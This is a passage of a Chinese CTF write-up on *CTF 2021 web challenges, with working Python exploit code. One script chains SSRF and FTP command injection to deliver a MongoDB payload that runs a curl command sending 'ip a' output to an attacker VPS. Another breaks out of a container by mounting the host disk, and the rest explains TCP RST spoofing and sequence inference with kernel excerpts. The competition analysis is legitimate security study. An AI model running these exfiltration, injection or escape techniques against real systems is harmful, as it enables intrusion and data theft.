class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e base64 \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e b64decode\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e requests\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e socket\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e string\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e random\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e threading\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_random_id\u003c/span\u003e():\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e alphabet = \u003cspan class=\"built_in\"\u003elist\u003c/span\u003e(string.ascii_lowercase + string.digits)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#x27;\u0026#x27;\u003c/span\u003e.join([random.choice(alphabet) \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e _ \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e32\u003c/span\u003e)])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_port_cmd\u003c/span\u003e(\u003cspan class=\"params\"\u003ehost\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e host, port = host.split(\u003cspan class=\"string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e port = \u003cspan class=\"built_in\"\u003eint\u003c/span\u003e(port)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#x27;PORT \u0026#x27;\u003c/span\u003e + \u003cspan class=\"string\"\u003e\u0026#x27;,\u0026#x27;\u003c/span\u003e.join(host.split(\u003cspan class=\"string\"\u003e\u0026#x27;.\u0026#x27;\u003c/span\u003e) + [\u003cspan class=\"built_in\"\u003estr\u003c/span\u003e(port // \u003cspan class=\"number\"\u003e256\u003c/span\u003e), \u003cspan class=\"built_in\"\u003estr\u003c/span\u003e(port - port // \u003cspan class=\"number\"\u003e256\u003c/span\u003e * \u003cspan class=\"number\"\u003e256\u003c/span\u003e)])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ea = \u003cspan class=\"string\"\u003e\u0026#x27;http://52.163.52.206:8088\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ea = \u003cspan class=\"string\"\u003e\u0026#x27;http://23.98.68.11:8088\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eftpd = \u003cspan class=\"string\"\u003e\u0026#x27;172.20.0.2:8877\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eredis = \u003cspan class=\"string\"\u003e\u0026#x27;172.20.0.4:6379\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emongo = \u003cspan class=\"string\"\u003e\u0026#x27;172.20.0.5:27017\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ebind = \u003cspan class=\"string\"\u003e\u0026#x27;vps_ip:2334\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003etarg = mongo\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e mongo \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e get_mongo\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003erequest = get_mongo(\u003cspan class=\"string\"\u003e\u0026#x27;curl vps_ip:1234/ -H \u0026quot;Host: `ip a|base64`\u0026quot;\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003essrf\u003c/span\u003e(\u003cspan class=\"params\"\u003eurl\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e page = requests.post(a + \u003cspan class=\"string\"\u003e\u0026#x27;/login\u0026#x27;\u003c/span\u003e, data=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;username\u0026#x27;\u003c/span\u003e: get_random_id(),\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;password\u0026#x27;\u003c/span\u003e: get_random_id(),\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;avatar\u0026#x27;\u003c/span\u003e: url,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;submit\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;Go!\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;).text\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e page = page[page.find(\u003cspan class=\"string\"\u003e\u0026#x27;data:image/png;base64,\u0026#x27;\u003c/span\u003e) +\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;data:image/png;base64,\u0026#x27;\u003c/span\u003e):]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e page = page[:page.find(\u003cspan class=\"string\"\u003e\u0026#x27;\u0026quot;\u0026#x27;\u003c/span\u003e)]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003etry\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e page = b64decode(page).decode()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eexcept\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e page = b64decode(page)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e page\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003einject\u003c/span\u003e(\u003cspan class=\"params\"\u003ecmd\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cmd = \u003cspan class=\"string\"\u003e\u0026#x27;\\r\\n\u0026#x27;\u003c/span\u003e.join(cmd)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ssrf(\u003cspan class=\"string\"\u003ef\u0026#x27;\u0026#x27;\u0026#x27;ftp://fan:root\u003cspan class=\"subst\"\u003e\u0026#123;cmd\u0026#125;\u003c/span\u003e@\u003cspan class=\"subst\"\u003e\u0026#123;ftpd\u0026#125;\u003c/span\u003e/\u0026#x27;\u0026#x27;\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003esendfile\u003c/span\u003e(\u003cspan class=\"params\"\u003efile\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e sock.bind((\u003cspan class=\"string\"\u003e\u0026#x27;0.0.0.0\u0026#x27;\u003c/span\u003e, \u003cspan class=\"built_in\"\u003eint\u003c/span\u003e(bind.split(\u003cspan class=\"string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e)[\u003cspan class=\"number\"\u003e1\u003c/span\u003e])))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e sock.listen(\u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e (client, address) = sock.accept()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;accepted\u0026#x27;\u003c/span\u003e, address)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e client.send(file)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;sent\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e client.close()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ethread = threading.Thread(target=sendfile, args=(request,))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ethread.start()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(ssrf(\u003cspan class=\"string\"\u003ef\u0026#x27;ftp://fan:root@\u003cspan class=\"subst\"\u003e\u0026#123;ftpd\u0026#125;\u003c/span\u003e/\u0026#x27;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003einject([\u003cspan class=\"string\"\u003e\u0026#x27;TYPE I\u0026#x27;\u003c/span\u003e, get_port_cmd(bind), \u003cspan class=\"string\"\u003e\u0026#x27;STOR frankli\u0026#x27;\u003c/span\u003e])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ethread.join()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;uploaded\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(ssrf(\u003cspan class=\"string\"\u003ef\u0026#x27;ftp://fan:root@\u003cspan class=\"subst\"\u003e\u0026#123;ftpd\u0026#125;\u003c/span\u003e/\u0026#x27;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;replaying\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003einject([\u003cspan class=\"string\"\u003e\u0026#x27;TYPE I\u0026#x27;\u003c/span\u003e, get_port_cmd(targ), \u003cspan class=\"string\"\u003e\u0026#x27;RETR frankli\u0026#x27;\u003c/span\u003e])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;replayed\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(requests.get(a, cookies=\u0026#123;\u003cspan class=\"string\"\u003e\u0026#x27;session\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;1eb74496-98b9-4acc-94fb-75ba15ddb803\u0026#x27;\u003c/span\u003e\u0026#125;).headers)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;requested\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003einject([\u003cspan class=\"string\"\u003e\u0026#x27;RNFR frankli\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;RNTO trash\u0026#x27;\u003c/span\u003e])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(ssrf(\u003cspan class=\"string\"\u003ef\u0026#x27;ftp://fan:root@\u003cspan class=\"subst\"\u003e\u0026#123;ftpd\u0026#125;\u003c/span\u003e/\u0026#x27;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e \u003c/div\u003e\u003c/div\u003e\u003ch2 id=\"oh-my-socket\"\u003eoh-my-socket\u003c/h2\u003e\u003cp\u003e不行,必须要公开处刑(逃\u003c/p\u003e\u003cp\u003e为什么题在放出来半个小时后就去fix了呢?\u003c/p\u003e\u003cimg src=\"/2021/01/18/Security/Writeup/*CTF-2021-Web/privileged.png\" class=\"\" title=\"特 权 阶 级\"\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e os\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# os.system(\u0026#x27;fdisk -l\u0026#x27;)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eos.system(\u003cspan class=\"string\"\u003e\u0026#x27;mkdir -p /mnt/test\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eos.system(\u003cspan class=\"string\"\u003e\u0026#x27;mount /dev/vda1 /mnt/test\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# os.system(\u0026#x27;cat /mnt/test/lib/systemd/system/docker.*\u0026#x27;)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# os.system(\u0026#x27;chroot /mnt/test find . -name \u0026quot;oh-some-funny-code\u0026quot;\u0026#x27;)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eos.system(\u003cspan class=\"string\"\u003e\u0026#x27;cat /mnt/test/var/lib/docker/overlay2/*/diff/server/oh-some-funny-code\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# os.system(\u0026#x27;chroot /mnt/test service docker status\u0026#x27;)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cimg src=\"/2021/01/18/Security/Writeup/*CTF-2021-Web/result.png\" class=\"\" title=\"结 束 了\"\u003e\u003cp\u003e还是我太善良了,没干什么坏事\u003c/p\u003e\u003cp\u003e这道题的正解是这样的:\u003c/p\u003e\u003cp\u003e观察题目,我们能发现server上有flag,还有一个flag service。还有一个client,client上还有任意文件读。我们作为webserver可以执行80秒任意代码,并且出题人贴心地为我们装上了scapy便于tcp包的构造。\u003c/p\u003e\u003cp\u003e这个flag service是阻塞式的服务,也就是说上一个人不断开的话下一个人连不了。然而client上的客户端在启动时就往server那里连了,并且双方都在\u003cstrong\u003e阻塞\u003c/strong\u003e地等待对方的数据(recv),而且还没设置超时,而且还每两分钟就重启一次。看上去有点不太可能实现的样子。\u003cbr\u003e但是当我们仔细观察client的源码,当收到了connection reset(RST)时,client会断开与server端的连接。也就是说我们需要伪造一个从server到client的RST,这时候才能轮到我们去连server。\u003c/p\u003e\u003cp\u003e众所周知(个鬼啊),TCP数据包伪造的重点在于其seq的值。\u003c/p\u003e\u003cp\u003eIP头中,Source IP Address,Destination IP Address我们都有,Protocol是TCP,别的无所谓,都是能自动构造好的\u003cbr\u003eTCP头中,Source Port,Destination Port我们也都有,client那边都bind好了,问题就在于:\u003cbr\u003e双方进行三次握手的过程如下:\u003c/p\u003e\u003col\u003e\u003cli\u003eclient向server发送一个同步包(SYN),序列号为随机数A\u003c/li\u003e\u003cli\u003e1: 服务端响应(ACK)包,序列号为A+1; 2: 服务端发送同步包(SYN),序列号为随机数B (即一个SYN-ACK包)\u003c/li\u003e\u003cli\u003e客户端发送响应包,序列号为B+1\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e后面的数据包的sequence序列号只能落在\u003ccode\u003e(last_seq, last_seq + recv_window)\u003c/code\u003e这个范围内。\u003c/p\u003e\u003cp\u003e参考\u003ca href=\"https://github.com/torvalds/linux/blob/19c329f6808995b142b3966301f217c831e7cf31/net/ipv4/tcp_input.c#L5609-L5628\"\u003elinux源码:tcp_validate_incoming\u003c/a\u003e,当然RFC或者计网课本都行,只是待会会用到这个\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003einline\u003c/span\u003e \u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e \u003cspan class=\"title\"\u003etcp_sequence\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e struct tcp_sock *tp, u32 seq, u32 end_seq)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e !\u003cspan class=\"built_in\"\u003ebefore\u003c/span\u003e(end_seq, tp-\u0026gt;rcv_wup) \u0026amp;\u0026amp; !\u003cspan class=\"built_in\"\u003eafter\u003c/span\u003e(seq, tp-\u0026gt;rcv_nxt + \u003cspan class=\"built_in\"\u003etcp_receive_window\u003c/span\u003e(tp));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后他俩就静默了。如果有任何一方发送了数据包,我们都有可能能抓到这个包,看到seq,这样这个题将绝杀,可是抓不得。\u003c/p\u003e\u003cp\u003e顺着出题人的思路,我们找到了几个paper,还找到了一次看雪论坛的演讲:\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003ca href=\"https://www.microsoft.com/en-us/research/wp-content/uploads/2012/10/ccs12-qian.pdf\"\u003ehttps://www.microsoft.com/en-us/research/wp-content/uploads/2012/10/ccs12-qian.pdf\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://web.eecs.umich.edu/~zmao/Papers/oakland12_TCP_sequence_number_inference.pdf\"\u003ehttps://web.eecs.umich.edu/~zmao/Papers/oakland12_TCP_sequence_number_inference.pdf\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://bbs.pediy.com/thread-245982.htm#:~:text=%E7%AC%AC%E4%BA%8C%E4%B8%AA%E6%94%BB%E5%87%BB%E5%8F%98%E7%A7%8D\"\u003ehttps://bbs.pediy.com/thread-245982.htm#:~:text=第二个攻击变种\u003c/a\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e根据上面的资料,我们继续往下跟刚才的linux中的\u003ccode\u003etcp_validate_incoming\u003c/code\u003e,看到如果seq检查不通过的话进到的分支:\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!th-\u0026gt;rst) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (th-\u0026gt;syn)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003egoto\u003c/span\u003e syn_challenge;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!\u003cspan class=\"built_in\"\u003etcp_oow_rate_limited\u003c/span\u003e(\u003cspan class=\"built_in\"\u003esock_net\u003c/span\u003e(sk), skb, LINUX_MIB_TCPACKSKIPPEDSEQ, \u0026amp;tp-\u0026gt;last_oow_ack_time))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003etcp_send_dupack\u003c/span\u003e(sk, skb);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125; \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003etcp_reset_check\u003c/span\u003e(sk, skb)) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003etcp_reset\u003c/span\u003e(sk, skb);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果我们发的包不是RST,且不是SYN,如果seq检查不通过,且linux还不至于认为我们在flood它的话,会进到\u003ccode\u003etcp_send_dupack\u003c/code\u003e,我们进去康康有什么\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan 